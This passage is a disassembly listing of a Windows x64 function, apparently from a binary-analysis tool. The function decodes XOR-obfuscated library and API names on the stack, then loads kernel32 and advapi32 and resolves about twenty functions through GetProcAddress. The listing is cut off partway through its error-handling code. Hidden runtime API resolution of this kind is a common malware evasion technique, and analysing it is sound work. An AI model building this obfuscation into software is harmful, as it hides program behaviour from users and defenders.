Function at 0x14000b900
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x340
mov rax, qword [0x14006c048]
xor rax, rsp
mov qword [rsp + 0x330], rax
xor r14d, r14d
mov dword [rsp + 0x258], 0xe6f5e3ce
mov dword [rsp + 0x25c], 0xbeb8e6ec
mov dword [rsp + 0x260], 0xfce3eaa3
xor eax, eax
mov byte [rsp + 0x264], al
mov ecx, r14d
mov edx, r14d
nop dword [rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x258], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xc
jb 0x14000b960
mov byte [rsp + 0x264], 0
lea rcx, [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x14000b9ad
lea rcx, [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000ceba
mov dword [rsp + 0x228], 0xe6e2f6ca
mov dword [rsp + 0x22c], 0xefe4f8d9
mov dword [rsp + 0x230], 0xfcfde8
mov ecx, r14d
mov rdx, r14
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xb
jb 0x14000b9e0
mov byte [rsp + 0x233], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ba30
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f250], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000babf
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000baba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cee2
call fcn.14002ec50
test rsi, rsi
je 0x14000cee8
movdqa xmm0, xmmword [0x140062ba0]
movdqu xmmword [rsp + 0x278], xmm0
mov dword [rsp + 0x288], 0xe8f6f8c6
mov dword [rsp + 0x28c], 0xe8f4f2ea
xor eax, eax
mov byte [rsp + 0x290], al
mov ecx, r14d
mov rdx, r14
nop
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x278], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x18
jb 0x14000bb00
mov byte [rsp + 0x290], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x278]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000bb43
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f288], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000bbd2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf10
call fcn.14002ec50
test rsi, rsi
je 0x14000cf16
movdqa xmm0, xmmword [0x140062b70]
movdqu xmmword [rsp + 0x228], xmm0
mov ecx, r14d
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xf
jb 0x14000bc00
mov byte [rsp + 0x237], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000bc43
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f290], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000bcd2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bccd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf3e
call fcn.14002ec50
test rsi, rsi
je 0x14000cf44
mov dword [rsp + 0x228], 0xebe8f4d5
mov dword [rsp + 0x22c], 0xbff8f9ec
mov dword [rsp + 0x230], 0xe8eac0bf
mov word [rsp + 0x234], 0xc5e5
xor eax, eax
mov byte [rsp + 0x236], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xe
jb 0x14000bd20
mov byte [rsp + 0x236], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000bd63
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f298], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000bdf2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf6c
call fcn.14002ec50
test rsi, rsi
je 0x14000cf72
mov dword [rsp + 0x228], 0xfde3e9c8
mov dword [rsp + 0x22c], 0xbeb8efe5
mov dword [rsp + 0x230], 0xe3fde7cb
mov word [rsp + 0x234], 0xc5e5
xor eax, eax
mov byte [rsp + 0x236], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xe
jb 0x14000be40
mov byte [rsp + 0x236], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000be83
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f2a0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000bf12
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf9a
call fcn.14002ec50
test rsi, rsi
je 0x14000cfa0
mov dword [rsp + 0x228], 0xfde3e9c8
mov dword [rsp + 0x22c], 0xbeb8efe5
mov dword [rsp + 0x230], 0xe4f7ebc3
mov word [rsp + 0x234], 0xc6
mov ecx, r14d
mov rdx, r14
nop dword [rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xd
jb 0x14000bf50
mov byte [rsp + 0x235], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000bf93
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f2a8], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c022
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c01d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cfc8
call fcn.14002ec50
test rsi, rsi
je 0x14000cfce
movdqa xmm0, xmmword [0x140062c20]
movdqu xmmword [rsp + 0x298], xmm0
mov dword [rsp + 0x2a8], 0xd1eee4fa
mov dword [rsp + 0x2ac], 0xf4fcf7
mov ecx, r14d
mov rdx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x298], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x17
jb 0x14000c060
mov byte [rsp + 0x2af], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x298]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c0a3
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x14006f2b0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c132
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c12d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cff6
call fcn.14002ec50
test rsi, rsi
je 0x14000cffc
movdqa xmm0, xmmword [0x140062b80]
movdqu xmmword [rsp + 0x228], xmm0
mov ecx, r14d
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xf
jb 0x14000c160
mov byte [rsp + 0x237], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c1a3
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2c0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c232
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c22d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d024
call fcn.14002ec50
test rdi, rdi
je 0x14000d02a
mov dword [rsp + 0x268], 0xe9f1e2c4
mov dword [rsp + 0x26c], 0xbeb8e3f9
mov dword [rsp + 0x270], 0xfce3eaa3
xor eax, eax
mov byte [rsp + 0x274], al
mov ecx, r14d
mov rdx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x268], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xc
jb 0x14000c270
mov byte [rsp + 0x274], 0
lea rcx, [rsp + 0x268]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
jne 0x14000c2bd
lea rcx, [rsp + 0x268]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000d052
movdqa xmm0, xmmword [0x140062c30]
movdqu xmmword [rsp + 0x318], xmm0
xor eax, eax
mov byte [rsp + 0x328], al
mov ecx, r14d
mov rdx, r14
nop dword [rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x318], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x10
jb 0x14000c2e0
mov byte [rsp + 0x328], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x318]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c323
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2c8], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c3b2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d07a
call fcn.14002ec50
test rdi, rdi
je 0x14000d080
movdqa xmm0, xmmword [0x140062c50]
movdqu xmmword [rsp + 0x2b8], xmm0
mov dword [rsp + 0x2c8], 0xfdf0f3f9
mov word [rsp + 0x2cc], 0xea
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x2b8], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x15
jb 0x14000c3f0
mov byte [rsp + 0x2cd], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x2b8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c433
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2d8], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c4c2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d0a8
call fcn.14002ec50
test rdi, rdi
je 0x14000d0ae
movdqa xmm0, xmmword [0x140062bc0]
movdqu xmmword [rsp + 0x2e8], xmm0
mov word [rsp + 0x2f8], 0xe5e0
xor eax, eax
mov byte [rsp + 0x2fa], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x2e8], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x12
jb 0x14000c500
mov byte [rsp + 0x2fa], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x2e8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c543
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2f0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c5d2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d0d6
call fcn.14002ec50
test rdi, rdi
je 0x14000d0dc
mov dword [rsp + 0x228], 0xfce9e9c6
mov dword [rsp + 0x22c], 0xdfe7e5fb
mov dword [rsp + 0x230], 0xf9f9fce8
mov word [rsp + 0x234], 0xf7f2
xor eax, eax
mov byte [rsp + 0x236], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xe
jb 0x14000c620
mov byte [rsp + 0x236], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c663
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2f8], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c6f2
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c6ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d0fe
call fcn.14002ec50
test rdi, rdi
je 0x14000d104
mov dword [rsp + 0x228], 0xedebe3c1
mov dword [rsp + 0x22c], 0xe9d8effd
mov dword [rsp + 0x230], 0xf3e6f8ff
mov word [rsp + 0x234], 0xf4
mov ecx, r14d
mov rdx, r14
nop dword [rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xd
jb 0x14000c730
mov byte [rsp + 0x235], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c773
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f308], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c802
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c7fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d126
call fcn.14002ec50
test rdi, rdi
je 0x14000d12c
movdqa xmm0, xmmword [0x140062bf0]
movdqu xmmword [rsp + 0x300], xmm0
mov word [rsp + 0x310], 0xf3f9
xor eax, eax
mov byte [rsp + 0x312], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x300], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x12
jb 0x14000c840
mov byte [rsp + 0x312], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x300]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c883
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f310], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000c912
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c90d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d14e
call fcn.14002ec50
test rdi, rdi
je 0x14000d154
movdqa xmm0, xmmword [0x140062bb0]
movdqu xmmword [rsp + 0x2d0], xmm0
mov dword [rsp + 0x2e0], 0xfde2faf4
mov word [rsp + 0x2e4], 0xce
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x2d0], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x15
jb 0x14000c950
mov byte [rsp + 0x2e5], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x2d0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000c993
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2d0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000ca22
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d176
call fcn.14002ec50
test rdi, rdi
je 0x14000d17c
mov dword [rsp + 0x228], 0xe6e2f6ca
mov dword [rsp + 0x22c], 0xedc6c9da
mov dword [rsp + 0x230], 0xf5e8efe3
mov word [rsp + 0x234], 0xc5e3
xor eax, eax
mov byte [rsp + 0x236], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xe
jb 0x14000ca70
mov byte [rsp + 0x236], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000cab3
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2e0], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000cb42
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cb3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d1a4
call fcn.14002ec50
test rdi, rdi
je 0x14000d1aa
mov dword [rsp + 0x228], 0xe6e2f6ca
mov dword [rsp + 0x22c], 0xfaf9efda
mov dword [rsp + 0x230], 0xc7eaede4
xor eax, eax
mov byte [rsp + 0x234], al
mov ecx, r14d
mov rdx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xc
jb 0x14000cb80
mov byte [rsp + 0x234], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000cbc3
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f2e8], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000cc52
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d1d2
call fcn.14002ec50
test rdi, rdi
je 0x14000d1d8
mov dword [rsp + 0x228], 0xfae6f2d6
mov dword [rsp + 0x22c], 0xfeeed9fd
mov dword [rsp + 0x230], 0xf5ece7fb
mov word [rsp + 0x234], 0xc6
mov ecx, r14d
mov rdx, r14
nop dword [rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xd
jb 0x14000cc90
mov byte [rsp + 0x235], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14000ccd3
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x14006f300], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000cd62
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d200
call fcn.14002ec50
test rdi, rdi
je 0x14000d206
mov dword [rsp + 0x228], 0xe9e2f4c6
mov dword [rsp + 0x22c], 0xe9d8effd
mov dword [rsp + 0x230], 0xf3e6f8ff
mov word [rsp + 0x234], 0xc5f4
xor eax, eax
mov byte [rsp + 0x236], al
mov ecx, r14d
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x7b]
xor byte [rsp + rdx + 0x228], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0xe
jb 0x14000cdb0
mov byte [rsp + 0x236], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x238], xmm0
mov qword [rsp + 0x248], r14
mov qword [rsp + 0x250], r14
lea rax, [rsp + 0x228]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000cdf0
mov r8, rbx
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x238]
call fcn.140002550
lea rdx, [rsp + 0x238]
cmp qword [rsp + 0x250], 0x10
cmovae rdx, qword [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x14006f318], rax
mov rdx, qword [rsp + 0x250]
cmp rdx, 0x10
jb 0x14000ce81
inc rdx
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d22e
call fcn.14002ec50
test rbx, rbx
je 0x14000d234
mov al, 1
jmp 0x14000ce90
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.14002ec30
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
lea rdx, str.dll_1__not_found.
lea rcx, [rsp + 0x108]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x108]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_1.
lea rcx, [rsp + 0x120]
call fcn.1400010e0
lea rdx, [0x14006ab28]
lea rcx, [rsp + 0x120]
call fcn.140030ce0
call fcn.1400356a4
int3
lea rdx, str.Cannot_find_function_8.
lea rcx, [rsp + 0x138]
